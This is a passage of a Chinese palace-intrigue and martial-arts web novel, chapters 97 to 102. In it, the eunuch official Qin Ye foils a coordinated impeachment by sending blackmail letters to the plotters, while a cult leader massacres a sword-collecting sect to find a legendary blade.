此言一出，众人表情巨变。有人不自觉地攥紧了衣袖，有人低头沉思，更有人面露惊慌。偌大的房间里，一时间只剩下急促的呼吸声。 “张大人说得对啊。”一名年长的官员擦了擦额头的冷汗，“这些年来，我们借着藩王的势力在朝堂上顺风顺水。如今……” “如今倒好，前有狼后有虎。”另一人接过话头，苦笑道，“藩王对我们心生芥蒂，皇上又视我们为眼中钉。这日子，还怎么过？” 屋内的气氛越发凝重。众人内心惶惶不安。 “张大人，那依您看，我们该如何自处？”一个年轻官员急切问道，眼中闪烁着期待的光芒。 “是啊，还请张大人指点迷津。”其他人纷纷附和，目光齐刷刷地看向张马临。 张马临扫视着在座每一个人：“诸位难道还看不明白吗？要想保全自己，只有一个办法。” “什么办法？”众人屏息凝神。 “除掉秦烨！”张马临一字一顿，每个字都像是重锤敲在众人心上，“只有让秦烨死，才能向藩王表明我们的立场。” 此话一出，众人眼前一亮，仿佛看到了一线生机。 “对啊！”一名官员猛地站起身，“我这就回去写奏疏弹劾秦烨。” “这个阉人，居然敢结交外朝大臣，本就是违反祖制。” “而且他一个太监，竟然还能当官，简直是荒谬！” “我听说他在汴城结交甚广，说不定真有谋反之心。” 众人你一言我一语，七嘴八舌地数着秦烨的罪状。房间里的气氛一下子活跃起来，方才的压抑一扫而空。 但还是有人提出疑虑：“可是陛下对秦烨宠信有加，若是陛下不肯……” “无妨！”张马临放下酒杯，打断道，“我们这么多人联名弹劾，就是给陛下一个台阶。况且，秦烨这奴才确实太过猖狂，陛下要是明智的，必然会明白轻重。” 众人纷纷点头称是。有人已经开始盘算着明日该如何在朝堂上发难，有人则在思考该从哪些方面入手弹劾。 张马临满意地看着眼前这一幕。烛光映照下，他的眼中闪过算计。有这么多人支持，明儿朝堂之上，定能将秦烨一举拿下。想到这里，他心情大好，一口饮尽杯中酒。 与此同时，汴城另一处。 上官煜的马车正缓缓驶向玄铁会。夜色已深，街道上行人寥寥。马蹄声在寂静的街道上回响，显得格外清晰。 就在快要抵达时，一辆马车从远处驶来。刹那间，上官煜瞳孔一缩，他感受到了一股强大的气息。这股气息如渊似海，深不可测。 这汴城何时出现了如此高手？ 还未及细想，玄铁会已在眼前。高大的院墙在月光下投下阴影，门前的灯笼随风摇曳，将“玄铁会”三个大字映照得忽明忽暗。 此时的玄铁会内，赵马玄正依依不舍地看着满室珍藏的宝剑。剑架上，数十把名剑整齐排列，每一把都散发着不同的气韵。有的锋芒毕露，有的内敛深沉，有的古朴大气，有的精致华美。 这些都是他多年来精心收集的心爱之物。可为了孩子，这些宝剑，恐怕要暂时封存了。想到这里，他不由得叹了口气。 “帮主，外面有贵客求见。”一名守卫快步进来禀报，打断了他的思绪。 “可有名帖？”赵马玄收回目光。 “不曾有。”守卫恭敬道，“不过看那气度，非寻常之人。” 赵马玄略作沉吟：“让他们进来吧。” 守卫退出后，很快引着上官煜和明远走了进来。大厅内灯火通明，将二人的身影投射在地上，拉得很长。 就在二人跨入大门的瞬间，明远突然出手，一招制住了那名守卫。眨眼之间，守卫已经断气，尸体被随意丢在一旁。整个过程干净利落，没有发出一点声响。 明远面不改色地关上大门，跟上上官煜的脚步。月光从窗外洒进来，将他们的身影拉得更长。 此时的赵马玄正在擦拭着心爱的青玉剑。这把剑通体碧绿，剑身如兰，是他最珍爱的收藏之一。忽然，他察觉到一股强大的气息逼近。他立刻放下剑，起身相迎。 “你们是谁？”赵马玄站在玄铁会大厅中央，目光在两个不速之客身上扫过。 一个锦衣华服，举手投足间尽显优雅从容；一个仆从打扮，却暗藏杀机。看似普通的组合，但赵马玄能感受到其中蕴含的危险气息。多年江湖经验告诉他，这两人绝非善类。 “紫电剑在哪？”那仆从打扮的人开口便直奔主题，语气中带着不容置疑的傲慢。 赵马玄眯起眼睛，心中警惕顿生。紫电剑乃是玄铁会的镇帮之宝，近来江湖上确实有不少人打它的主意。但敢直接找上门来的，还是头一遭。 第九十七章 较量在所难免 “找紫电剑做什么？”赵马玄不动声色地问道，同时暗中打量着两人。仆从身材精瘦，腰间别着一把软剑，站姿显示出极强的实战经验；而那锦衣男子虽然看似随意，但周身却笼罩着一层若有若无的气场。 “少废话！”那仆从突然暴躁起来，声音中充满不耐，“交出紫电剑！” 大厅内的气氛骤然紧张。几名玄铁会弟子下意识地握紧了兵器，却被赵马玄抬手制止。 赵马玄冷笑一声：“紫电剑确实在我这，但你们想要，恐怕没那么容易。”说话间，他已经悄悄调整了站位，确保能在第一时间抽出腰间的佩剑。 仆从看了眼身旁锦衣男子，得到默许后，猛地抽出腰间软剑。剑身上还残留着血迹，散发着令人作呕的腥气。显然，他们来之前已经有过一场杀戮。 【看来今日的较量在所难免了。】赵马玄心中暗道。这些人找上门来就要抢夺紫电剑，如此蛮横无理，倒让他起了几分怒意。多年来玄铁会虽不是什么名门正派，但也从未做过太出格的事，何至于被人如此轻视？ 仆从一剑刺来，剑势凌厉。他是四品高手，在主人上官煜调教下更是实力不凡，对付一个小帮派帮主，自信十足。剑尖破空，直取赵马玄咽喉。 赵马玄身形一晃，轻松避开。“剑法不错，就是准头差了点。”他故意用轻蔑的语气说道，想要激怒对方。果然，仆从脸色一变，没想到这一剑竟被轻易躲过。 “你！”在主人面前失了面子，仆从更加愤怒，连续刺出数剑。剑光如织，招招致命。 赵马玄随手抄起桌上的青玉剑，剑光一闪，金属相击声响起。仆从手中软剑应声而落，虎口发麻。这一下看似简单，实则暗含巧劲，正是青玉剑法的精髓所在。 “力道不小。”仆从惊讶道，显然没想到一个小帮派帮主竟有如此实力。 “彼此彼此。”赵马玄淡然一笑，“倒是不知阁下是什么来头？”他一边说着，一边暗中戒备。对方既然敢明目张胆地上门，必然有所依仗。 仆从不答，双手成爪，使出虎啸功扑来。招式比之前的剑法更为凌厉，爪影重重，直取要害。这门功夫在江湖上颇有名气，据说出自一个神秘门派。 “虎啸功？”赵马玄认出这门功夫，心中一动。趁对方攻势正盛时，突然一拳轰出，正中其胸口。这一拳看似平常，实则暗含内力。 仆从顿时倒飞而出，重重摔在地上，气血翻涌。他挣扎着想要起身，却发现体内气息紊乱，一时难以施展功夫。 “今日我不想见血，你们还是离开吧。”赵马玄并未趁胜追击。秦烨说过要去除杀气，他便试着克制。况且，真正的威胁并非这个仆从。 “好一手青玉剑法。”一直沉默的锦衣男子终于开口，声音温和中带着一丝赞赏，“赵帮主可愿为我效力？” “效力？”赵马玄心中冷笑，连对方是谁都不知，如何效力？况且，这种高高在上的态度，更让他反感。 “我是青云教上官煜。”锦衣男子淡然道，仿佛在说一件微不足道的事，“玄铁会若愿意成为青云教分部，倒也不错。” “青云教？”赵马玄瞳孔一缩。这个名字他再熟悉不过，江湖中臭名昭著的邪教组织。据说他们以吃人心养功，专门祸害良善。没想到今日竟会遇上。 大厅内的气氛更加凝重。几名闻讯赶来的玄铁会弟子面露惊恐，显然也听说过青云教的恶名。但他们依然坚守在赵马玄身边，没有退缩。 赵马玄握紧了青玉剑，警惕地盯着上官煜：“抱歉，我赵马玄不曾想过给人当狗。”话虽强硬，但他心中已经在盘算退路。青云教势大，若是硬拼，恐怕整个玄铁会都要遭殃。 “不识抬举。”上官煜眼中寒光闪过，一股强大的气势瞬间爆发。大厅内的烛火剧烈摇晃，仿佛随时会熄灭。 赵马玄这才明白，真正的高手是这个看似平和的锦衣男子。面对如此压迫感，他额头渗出冷汗。但事已至此，也只能硬着头皮应对。 “最后问你一次，紫电剑在哪？”上官煜的声音冰冷刺骨，仿佛能冻结人的心脏。 赵马玄深吸一口气，他知道今天怕是难以善了。但玄铁会的尊严不容践踏，紫电剑更不能落入邪教之手。这把剑不仅是镇帮之宝，更关系到整个江湖的安危。 “要战便战！”赵马玄提剑而立，做好了拼死一战的准备。虽然实力悬殊，但他也不是任人宰割的软柿子。 上官煜眼中杀意涌动：“既然你执意找死，那就别怪我心狠手辣了。”说着，他缓缓抽出一把青色长剑，剑身上隐隐有寒气流转。 空气仿佛凝固，一场恶战一触即发。大厅内的玄铁会弟子纷纷拔出兵器，准备与帮主共进退。 赵马玄心中盘算着对策。上官煜的实力远在他之上，正面对抗必死无疑。但玄铁会经营多年，地形复杂，或许能借此周旋。关键是要保住紫电剑，不能让它落入邪教手中。 “明远，拿下他！”上官煜一声令下。 上官煜的声音在空气中回荡，带着一丝不容置疑的威严。他站在玄铁会总部的会客厅内，目光如炬，周身气势凌人。 “紫电剑，交出来。” 赵马玄眉头微皱。会客厅内陈列着数十把珍藏多年的名剑，每一把都散发着凛冽的寒光。他心中暗自思量。紫电剑确实不在自己手中，但这个突然出现的神秘人，为何对紫电剑如此执着？ “阁下到底是谁？”赵马玄试探性地问道，同时悄悄调动体内真气，随时准备应对可能的突发情况。 上官煜冷笑一声，锦衣华服在灯光下泛着淡淡光泽：“交出紫电剑，饶你不死。” 赵马玄心中一凛。眼前这男子举手投足间尽显威势，一举一动都透露着强大的压迫感。能有如此气度，又对紫电剑志在必得，莫非是…… “难道你就是芮容霄？”赵马玄脱口而出，握剑的手不自觉地加重了几分力道。 “倒是有几分眼力。”上官煜轻笑，眼中闪过一丝赞许。 一旁的明远冷声道：“既然知道我家主人的身份，就该明白利害。识相的，赶紧交出紫电剑。” 第九十八章 实力悬殊 赵马玄握紧了手中的青玉剑，剑柄上已经沁出了一层薄汗。他的目光在上官煜和明远之间来回扫视，心中已有决断。紫电剑在秦烨手中，自己若是说出来，无异于害了兄弟。既然如此，不如拼死一战。 “想知道紫电剑的下落？”赵马玄冷笑，眼中闪过一丝决然，“做梦！” 话音未落，上官煜已经出手。一道凌厉剑气破空而来，赵马玄仓促举剑格挡，整个人被震退数步，虎口发麻。会客厅内的烛火剧烈摇曳，在墙上投下诡异的阴影。 “好强……”赵马玄心中暗惊，手臂传来的巨大力道让他意识到双方实力的悬殊。 上官煜负手而立，衣袍无风自动：“最后问你一次。” 赵马玄没有回答，而是将青玉剑横在胸前。一股凌厉杀气自他身上爆发，整个人的气势陡然一变。 “在下赵马玄，青玉剑在手，请赐教！” 随着他一声暴喝，整个会客厅内数十把收藏多年的名剑腾空而起。剑气纵横，煞气冲天，无数剑影交织成一张密不透风的大网，尽数朝上官煜袭去。 上官煜眼中闪过一丝赞赏：“有点意思。” 他只是随手一拳轰出，恐怖的力量瞬间将所有剑气震散。气浪席卷整个大厅，墙上的字画瞬间化为碎片。赵马玄口吐鲜血，重重摔在地上，再无还手之力。 “我数到三，说出紫电剑的下落。”上官煜居高临下地看着他，声音中带着不容置疑的威严。 “一！” 赵马玄闭上双眼，心中浮现出秦烨的身影。相识多年，早已视如手足，岂能在这种时候出卖兄弟？ “二！” 上官煜眼中杀意渐浓，周身气势越发骇人。 “三！” 一声巨响，赵马玄的身体穿墙而过，重重摔在院中。碎石飞溅，尘土飞扬，整个玄铁会总部陷入一片混乱。 与此同时，汴城东部一处高档会所内。 商媛正躺在美容床上做护理，突然心头一颤，一股不祥的预感涌上心头。她猛地坐起身，面色苍白。 “夫人，您怎么了？”侍女关切地问道，手中还拿着护肤品。 “快些收拾，我要回去。”商媛心神不宁，手指微微颤抖。 “可是护理还没……” “照我说的做！”商媛厉声打断，语气中带着少有的焦躁。 侍女不敢多言，连忙开始收拾。商媛站在窗前，望着玄铁会总部的方向，眼中闪过一丝担忧。 另一边，孟府之中。 秦烨正在为沈飞雪上药，手指不经意间触碰到她娇嫩的肌肤，惹得沈飞雪面红耳赤。房间内弥漫着淡淡的药香，气氛暧昧而温馨。 沈飞雪坐在床边，手指无意识地摩挲着被角，眼神闪烁不定。她知道紫电剑牵扯的秘密太大，一旦说出去，不仅会给秦烨带来杀身之祸，更可能连累展家满门。这个重担压得她几乎喘不过气来。 “这伤口恢复得不错。”秦烨一边替她换药，一边观察着她的神色，“不过你最近似乎心事重重？” 沈飞雪抿了抿唇，目光闪躲：“没……没什么。” “是关于紫电剑的事情吗？”秦烨轻声问道，手上的动作却没有停下。 沈飞雪的身子微微一僵，随即勉强挤出一丝笑容：“秦公子，这件事我真的不能说。” 秦烨注视着她苍白的面容，轻轻点头：“我明白，既然如此，我也不强求。”他将剩余的药材收拾妥当，“这些日子你要多加休息。” 沈飞雪低声应了，目送秦烨离开房间。待脚步声渐远，她才无力地靠在床头，眼中浮现出深深的疲惫。 与此同时，玄铁会内血流成河。 上官煜站在大堂中央，目光冷冽地扫视着满地尸体。鲜血顺着地砖的缝隙蜿蜒流淌，空气中弥漫着浓重的血腥气。 “明远，处理得如何了？”他淡淡开口，声音里听不出任何情绪。 明远单膝跪地，捂着胸口的伤处：“回主上，除了外出执行任务的帮众，其他人都已经解决。”说话间，他忍不住皱了皱眉，赵马玄留下的伤口还在隐隐作痛。 “紫电剑的下落查到了吗？” “属下搜遍了整个帮派，没有发现任何线索。”明远低着头，“不过赵马玄的几个心腹还在审讯中。” 上官煜眯起眼睛，“看来这把剑，还真是个难解的谜。” “主上不必担心，”明远抬起头，“只要顺着赵马玄的人脉查下去，总能找到蛛丝马迹。属下已经派人去查他这些年来往密切的商铺和青楼。” 上官煜点点头，眼中闪过一丝寒光：“别让任何人走漏风声。” “是。” 与此同时，宫城内。 秦烨漫步在宫城中，他来到长春宫，刚要进门，就被雨竹拉到一处偏僻的回廊。 “这些天想我了吗？”雨竹依偎在他怀里，眼中带着几分娇嗔。 秦烨轻吻她的额头：“当然想。” “那今晚能陪我吗？”雨竹仰起头，眼中满是期待。 秦烨露出为难的神色，轻轻摇头：“今晚恐怕不行。” “为什么？”雨竹嘟着嘴，语气中带着委屈，“你最近总是这样，今天不行明天不行。是不是……是不是有了别人？” “别胡思乱想，”秦烨将她搂紧，“这几天确实有要事要处理。” 他不能说实话，总不能告诉雨竹，自己要去陪上官瑾和柔木氏公主。这些事情，还是越少人知道越好。 “哼，你就是不把我放在心上。”雨竹推开他，从怀里掏出两个信封，“这是司马辉给你的信。” 秦烨接过信封，还想说什么，雨竹已经转身离开：“你忙你的正事去吧，我还要伺候娘娘。” 看着她气呼呼离去的背影，秦烨叹了口气。宫中女人的心思，有时候真是难以琢磨。 回到承明殿偏殿，秦烨坐在案前，打开信封。除了一封信，还有个名单，上面密密麻麻写满了名字。 信中说工部尚书张马临已经在家中召集党羽，准备明日朝会上群起弹劾他。不仅如此，张马临还暗中联系了几位重臣，意图借此机会一举将他拉下马。 秦烨冷笑一声，目光在纸上一个个名字间游走。每一个名字都让他心头微沉，这些人，他都认识。不是在朝堂上相识，而是在端木正府邸密室中的那些文书上见过。 “呵。”他冷笑一声，将名单放在案几上，“这帮人倒是打得一手好算盘。” 第九十九章 反击的信件 手指在案几上轻轻叩击两下，“啪嗒”一声轻响。沈化林的身影从房梁上落下，恭敬地站在秦烨身侧。 “属下在。” “去把端木正府上搜出的那些东西取来。”秦烨淡淡开口。 沈化林躬身应是，转身离去。殿内重归寂静，只余烛火在微风中轻轻摇曳。秦烨走到窗前，望着远处的宫墙轮廓，眸光微闪。这些人还真是迫不及待，自己还没对他们动手，他们倒是先按捺不住了。 不多时，殿外传来脚步声。几名太监抬着数口大箱子进来，在秦烨示意下将箱子放在殿中央。 “退下吧。”秦烨挥手示意。 待殿内只剩下他和沈化林，秦烨这才走到箱子前，缓缓打开第一口箱子。箱内整整齐齐码放着各种文书账册，每一本都记载着朝中大臣的罪证。 “这些东西，都是从端木正府邸密室搜出来的？”秦烨随手翻开一本账册。 “是。”沈化林点头，“这些都是原件，属下已经仔细核对过。” 秦烨目光在账册上扫过，眉头微皱。大周朝堂之腐败，已到了骇人听闻的地步。六成官员都在端木正的贪腐网络中，难怪国势日渐衰落。 “沈化林。” “公公。” “把这些罪证按人分类，每人的都抄录一份。”秦烨合上账册，“要快。” 沈化林立刻开始忙碌。秦烨则走到案前，取出信纸，开始写信。殿内一时只剩下笔尖划过纸面的沙沙声。 夜色愈发深沉，殿内烛火明灭。秦烨写完最后一封信，抬头看向还在奋笔疾书的沈化林。对方的额头已经渗出细密的汗珠，但手上动作依然不停。 “辛苦了。” “公公言重了。”沈化林头也不抬，继续专注于抄录工作。 又过了约莫半个时辰，所有罪证终于抄录完毕。秦烨将信件和罪证一一配对，装进信封，每个信封上都写明了收信人的姓名官职。 “今夜必须送达。”秦烨将信封交给沈化林，“若有人不肯收，就告诉他们——今晚不看，明日就晚了。” “是。”沈化林接过信封，身影很快消失在夜色中。 与此同时，六科给事中陈明远的府邸内，书房烛火通明。 “这秦烨，不过是个阉人，也敢在朝堂上耀武扬威！”陈明远提笔蘸墨，在纸上快速书写着，“今日张大人说得对，必须尽快将他拉下马，否则后患无穷。” 他正在写一篇弹劾奏疏，笔走龙蛇，文采飞扬。在这篇奏疏中，秦烨被他描绘成了一个十恶不赦的奸佞小人。 “写得好，写得好。”陈明远满意地点头，“明日此疏一上，看那秦烨如何应对。” 正得意间，书房外传来仆人的声音：“老爷，外面有人送来一封信，说是今晚必须过目。” “哦？”陈明远眉头一皱，“这么晚了，是谁送来的信？” “那人穿着一身夜行衣，没有表明身份。” “拿进来。” 仆人将信送到陈明远手中。他低头看了眼信封，脸色瞬间变得惨白。 “这……这……”陈明远手抖得厉害。 他死死盯着手中的信封，仿佛那不是一封信，而是一条吐着信子的毒蛇。昏黄的烛光下，那个“秦”字如同一把利剑，刺得他眼睛生疼。 “到底是谁送来的信？”他猛地站起身，茶盏被带倒，茶水洒了一桌。 门外的仆人被这突如其来的怒吼吓得一个激灵：“回老爷，小的真不知道啊。” “废物！”陈明远一把将茶盏砸向仆人，“连个送信的人都看不清，养你们有什么用！” 仆人连连告罪，慌忙退了出去。 书房重归寂静，只剩烛火摇曳。陈明远瘫坐在椅子上，目光依旧死死盯着那个“秦”字。 秦烨！ 除了那个该死的秦烨，还能有谁？ 他颤抖着手指拆开信封，扫了一眼内容，脸色瞬间变得惨白。冷汗顺着额头滑落，打湿了衣领。 这些年来经手的那些见不得人的勾当，竟然被人家查得一清二楚。贪墨的银两，收受的贿赂，甚至连他与藩王府暗中勾结的证据都有。 若是这些东西递到陛下面前…… 陈明远不敢再想下去。他抬头看向桌案，那里还摆着他刚写好的弹劾奏疏。那是张马临让他写的，说要一起联手对付秦烨。 现在看来，这份奏疏简直就是自寻死路。 “混账东西！” 陈明远怒骂一声，将奏疏撕得粉碎。张马临这个蠢货，不但害不了秦烨，反而把自己也给搭进去了。 与此同时，大理寺内。 六品监正周明德对着自己写好的奏疏自鸣得意。烛光映照下，他的脸上带着得意的笑容。 这份弹劾秦烨的奏疏，想必能让张马临这位工部尚书很满意吧？只要能攀上这条线，自己的前程可就…… “大人，有您的信。” 门外小吏的声音打断了他的美梦。 周衡漫不经心地接过信封，可当他看清内容后，整个人如坠冰窟。那些见不得人的勾当，那些收受的贿赂，那些冤假错案，全都被人家掌握在手里。 “秦烨……” 周衡死死盯着信封上的“秦”字，冷汗直冒。这是警告，赤裸裸的警告！ 他们这边还没动手，秦烨就已经准备好了反击。而且，人家手里可是握着实打实的证据。 周衡一把抓起桌上的奏疏，撕得粉碎。又小心翼翼地将秦烨的信烧成灰烬，这才长出一口气，瘫坐在椅子上。 “张马临这个混蛋……”他喃喃自语，“是想拉着大家一起死吗？” 这一夜，汴城中不知多少官员收到了类似的信。那些原本准备响应张马临、一起对付秦烨的人，此刻都悄无声息地缩了回去。 而这一切的始作俑者张马临，此时还在自家庭院中饮酒作乐。 月光如水，美酒醇香，舞姬轻歌曼舞。庭院中觥筹交错，笑语盈盈。 “好！好！”张马临击节赞叹，“明日之后，那秦烨就要倒台了。本官要让他知道，得罪本官是什么下场！” “大人说得对！”旁边的狗腿子立刻附和，“那秦烨不过是个七品小官，也敢跟大人作对，简直是找死！” “哈哈哈！”张马临得意大笑，“本官在朝中经营多年，根基深厚。就算他有些本事，也翻不出什么大浪来！来来来，大家都满上，今晚不醉不归！” 他哪里知道，秦烨的反击早已开始。 第一百章 万劫不复 此时此刻，司马府邸。 司马辉正在书房中仔细阅读秦烨送来的信件。烛光下，他的眉头越皱越紧。 信中不但详细列举了张马临这些年来的贪赃枉法，更重要的是揭露了他与上官煜勾结的证据。 这些证据，都是从端木正府上搜出来的。 “好小子！”司马辉忍不住赞叹，“早就掌握了这些证据，却一直按兵不动，等着张马临自己送上门来。” 他将信件和证据仔细收好，起身踱步到窗前。院中梨花盛开，月光如霜。 这一次，张马临插翅难逃了。 不过秦烨说得对，要对付一个根基深厚的工部尚书，光靠他一个人的力量还不够。这才是他将证据交给自己的原因。 “张马临啊张马临，你也有今天。”司马辉冷笑一声，“不过你放心，本官一定会好好"照顾"你的。” 与此同时，秦烨府中。 “大人，信都送到了。”暗卫跪地禀报。 秦烨点点头：“他们的反应如何？” “光大人和李大人都已经撕毁了弹劾的奏疏。其他人也都收到了警告，想必明日不会有人敢站在张马临那边。” “很好。”秦烨淡淡道，“你们下去吧。” 等暗卫退下，秦烨走到窗前。月光洒在他清俊的面容上，却照不进他深邃的眼眸。 张马临以为自己是猎人，却不知道他才是猎物。这些年来，自己一直在等这一刻。 从端木府搜出的证据，足以让张马临万劫不复。而那些准备依附张马临的人，此刻也都被自己的警告吓退。 明日朝堂之上，就是收网的时候。 夜色如墨，寒风萧瑟。 秦烨来到承明殿外，抬头望着那高耸的宫墙，心中暗自盘算着时间。殿内的灯火透过窗棂，在地上投下斑驳的光影，远处的更声悠悠传来，已是三更时分。 他的目光落在那扇厚重的殿门上，这个时辰，柔木氏公主应该已经进宫侍寝了。想到这里，他不禁露出一丝苦笑，手指无意识地摩挲着腰间的玉佩。 这宫中最深的秘密，除了他和女帝上官瑾，再无第三人知晓。表面上的九五至尊，实际是个女儿身。而他，则成了这场戏中最重要的替身。 “也不知道陛下现在怎么样了。”秦烨摇了摇头，看着殿内摇曳的灯影，迈步朝宫内走去。 此时的承明殿内，上官瑾正坐立不安。她的手指不停地敲击着案几，发出轻微的响声。龙袍下的身子微微发颤，不知是因为寒意还是紧张。 “陛下，让臣妾为您更衣吧。”柔木氏公主媚眼如丝，声音轻柔地说道。她款款起身，裙摆在地上划出一道优美的弧线。 上官瑾暗暗咬牙，这北疆女子也太主动了。昨夜才和秦烨经历云雨，今日就又迫不及待地主动前来求欢。她的目光不由自主地瞥向窗外，那里漆黑一片，看不到任何人影。 “爱妃何必着急。”上官瑾强作镇定，手指下意识地握紧了龙案上的玉如意。 【秦烨这个混账，怎么还不来？没有他在，我如何应付这个热情如火的北疆美人？】上官瑾心跳加快，额头渗出细密的汗珠。 “陛下……”玉兰轻轻靠近，玉手已经搭上了上官瑾的衣襟。她的呼吸带着淡淡的香气，让上官瑾不由得屏住了呼吸。 “且慢！”上官瑾猛地站起身，衣袖扫过案几，一个茶盏跌落在地，发出清脆的响声。“朕今日政务繁忙，有些疲惫。不如爱妃先为朕捏捏肩？” 玉兰虽有些失望，但还是乖巧地应了。她的眼中有着不易察觉的失落，但很快又恢复了往日的温婉。 她站在上官瑾身后，纤纤玉指开始按摩。只是这手法实在生疏，力道时轻时重，毫无章法可言。有几次甚至按到了上官瑾的痛处，让她忍不住皱眉。 上官瑾强忍着不适，心中暗骂：【这哪里比得上秦烨的手艺？那小子虽然可恨，但按摩的功夫确实一流。】 想到这里，她的脸上不由得浮现出一抹红晕。 一炷香的时间过去，玉兰的双手已经酸麻不堪。她从小养尊处贵，何曾做过这等伺候人的事？额头上已经渗出了细密的汗珠，呼吸也变得有些急促。 “陛下，时辰不早了……”玉兰轻声提醒道，声音中带着几分疲惫。 上官瑾心头一紧，【秦烨这混账怎么还不来，难道要自己真的和这北疆美人共度良宵不成？】 “爱妃，不如先去洗个澡换身衣服？”她强压下心中的慌乱，尽量让声音听起来平稳。 “不如陛下与臣妾一同……”玉兰的声音越发柔媚，眼波流转间满是期待。 “不必了！”上官瑾连忙打断，生怕玉兰继续说下去。“朕还要处理些政务。” 玉兰失望地点点头，款款走向浴室。她的背影在烛光下摇曳，如同一朵随风摆动的芙蓉。 等玉兰离开后，上官瑾立刻冲出殿外。夜风吹散了她额头的汗水，也让她紧绷的神经稍微放松了些。 果然，秦烨正站在角落里，一脸戏谑地看着她。月光下，他的眉眼带着几分玩味，嘴角挂着若有若无的笑意。 “你这混账，去哪里了？”上官瑾压低声音怒斥，眼中闪过一丝恼怒。 秦烨笑道：“陛下莫急，臣这不是来了吗？”他的声音带着几分调侃，却又不失恭敬。 “快进去！那北疆女子马上就要出来了。”上官瑾急得直跺脚，声音中带着几分焦急。 秦烨正要进殿，忽然回头道：“陛下，没有臣，您可是应付不来？”他的眼中闪过一丝狡黠。 “放肆！”上官瑾俏脸一红，“还不快去！”她抬手作势要打，却被秦烨轻巧地躲开。 秦烨轻笑着走进殿内，果然看见玉兰已经沐浴完毕，正躺在龙榻上沉沉睡去。她的发丝还带着些许水汽，脸上泛着淡淡的红晕。看来是给上官瑾按摩太久，累坏了。 第一百零一章 齐人之福 秦烨轻手轻脚地爬上龙榻，玉兰似有所觉，睁开迷蒙的双眼。烛光下，她的眼波荡漾，带着几分朦胧的美。 “陛下，您回来了……”她的声音带着几分慵懒，像是在梦呓。 “嗯。”秦烨低声应道，随即俯身吻了上去。玉兰的唇瓣柔软，带着淡淡的香气。 殿外的上官瑾听着里面传来的声响，不由得摇头叹息。【这场戏，不知还要演到何时。】 她的心中五味杂陈，既有无奈，又有些说不清道不明的情绪。 她心中不由得思忖，“这秦烨，倒是享尽了齐人之福……” 夜色渐深，承明殿内春意正浓。宫墙之外，一轮明月高悬，静静地注视着这场荒诞的宫廷秘事。 晨光熹微，金銮殿外人声鼎沸。 秦烨站在殿前广场，身着四品官服，神态从容。他是这朝堂上最特殊的存在，一个太监，却身兼翰林院人与司礼总管两职。微风拂过，吹动他的官服衣角，在晨曦中泛着淡淡的光泽。 “秦大人，早啊。”一位年轻官员快步走来，脸上带着讨好的笑容。 “秦大人金安。”又有几位朝臣驻足行礼。 不断有官员向他打招呼，秦烨微笑颔首，不卑不亢地一一回应。这些人中，有的是真心结交，有的则是阳奉阴违，但在这个时候，谁也不敢怠慢这位权势滔天的太监。 远处，工部尚书张马临眯着眼睛打量着这一幕。他身形微胖，面容威严，此刻正与几位心腹低声交谈。忽然，他嘴角勾起一抹冷笑，心中暗道：【好好享受这最后的得意吧，今日过后，你必将身败名裂！】 张马临已经筹谋多日，联络了众多朝臣，就等着今日在朝堂之上，一举将这个不知天高地厚的太监打入万劫不复之地。他的目光扫过周围那些同僚，每个人都微不可察地点了点头，这让他更加确信今天的计划必定成功。 殿前的青石板上，已经站满了朝臣。有人在低声议论，有人在打量四周，更多的人则在暗中观察着局势。这个清晨似乎格外闷热，不少官员都在用袖子擦拭额头的汗水。 “咚！咚！咚！” 三声鼓响震天，打断了所有人的思绪。 “皇帝驾到！”尖细的太监声音响彻殿前。 文武百官立即列队而入，鱼贯进入金銮殿。秦烨走在队伍中，暗自打了个哈欠。这种例行公事的朝会实在无趣，但作为朝廷重臣，该走的过场还是要走。 殿内金碧辉煌，龙柱盘旋而上，香炉中袅袅升起的檀香在空中缭绕。百官分列两侧，各自站定。秦烨的位置在右侧偏前，这个位置让他能清楚地看到每个人的表情。 皇帝上官瑾端坐龙座之上，她今日穿着一袭明黄龙袍，头戴十二旒冕冠，虽是女子，却自有一番帝王威仪，令下首之人难辨雌雄。她的目光淡淡扫过殿内众臣，最后在秦烨身上停留了一瞬，随即收回。 朝会开始后，各部官员依次汇报政务。民部尚书说起边关将领调动，武部侍郎谈及军需补给，工部主事禀报水利工程进度……这些繁琐的奏报让不少官员昏昏欲睡。 秦烨站在自己的位置上，看似认真聆听，实则心思早已飘远。他知道今天必有一场好戏，就看张马临准备如何出招了。 两个时辰过去，朝会已近尾声。 “有本早奏，无事退朝！”内监高声宣布。 眼看朝会就要结束，突然一个声音打破了平静。 “陛下，臣有事要奏！” 是张马临。他挺直腰板，目光炯炯地盯着龙座上的上官瑾。 秦烨眼中闪过玩味，他早就料到这位工部尚书会有所行动。昨夜他已经做好了万全准备，就等着看这位老狐狸如何自投罗网。 “讲。”上官瑾淡淡开口，语气中听不出任何情绪。 “臣要弹劾秦烨！”张马临中气十足，声音在殿内回荡，“此人身为内官，却违背祖制干预朝政！擅占藩王府！结党营私！贪污受贿！甚至强抢民女！罪证确凿，恳请陛下明察！” 殿内一片哗然。有人面露震惊，有人窃窃私语，更多的人则在偷偷观察秦烨的反应。 但秦烨却神色自若，他看着张马临那张因为激动而涨红的脸，心中暗笑。这位尚书大人，怕是还不知道自己昨夜做了些什么。那些被他拉拢的官员，此刻恐怕正在为自己的处境担忧。 “张爱卿说得这般严重。”上官瑾美目流转，语气中带着几分玩味，“不知可有其他大臣作证？” 张马临环顾四周，等待着昨日约定好的官员们站出来。然而殿内鸦雀无声，那些曾经拍着胸脯答应支持他的同僚，此刻竟无一人敢与他对视。有人低头假装整理衣袍，有人故作沉思望向殿顶，更有甚者直接转过身去，生怕被他看到。 张马临的脸色瞬间变得惨白，额头上的汗珠不断滑落。他终于意识到，自己中了圈套。 “怎么？张爱卿莫非是在说笑？”上官瑾的声音带着几分讥诮，“这么严重的指控，总该有些实据吧？” 张马临双腿发软，他强撑着不让自己跪倒。“陛下，臣……”他张了张嘴，却不知该如何解释。 秦烨这时不紧不慢地开口：“张大人既然要弹劾在下，想必手中已经掌握了确凿的证据。不知可否拿出来给大家过目？” 他的声音不大，却字字清晰地传入每个人耳中。那平静的语气中，似乎还带着一丝戏谑。 张马临如遭雷击。他筹划这一切时，完全是想借助朝臣的集体施压，根本没有收集任何实质证据。此时此刻，他才意识到自己是多么愚蠢。这个看似人畜无害的太监，远比他想象的要可怕得多。 “张大人，你这弹劾，可是在质疑朕的决断？”上官瑾冷冷问道，“秦烨身兼两职，可是朕亲自任命。难道爱卿觉得，朕的决定是错的？” “臣……臣不敢……”张马临再也支撑不住，双腿一软，重重跪倒在地。他的额头重重磕在冰冷的地砖上，发出一声闷响。 第一百零二章 全部倒戈 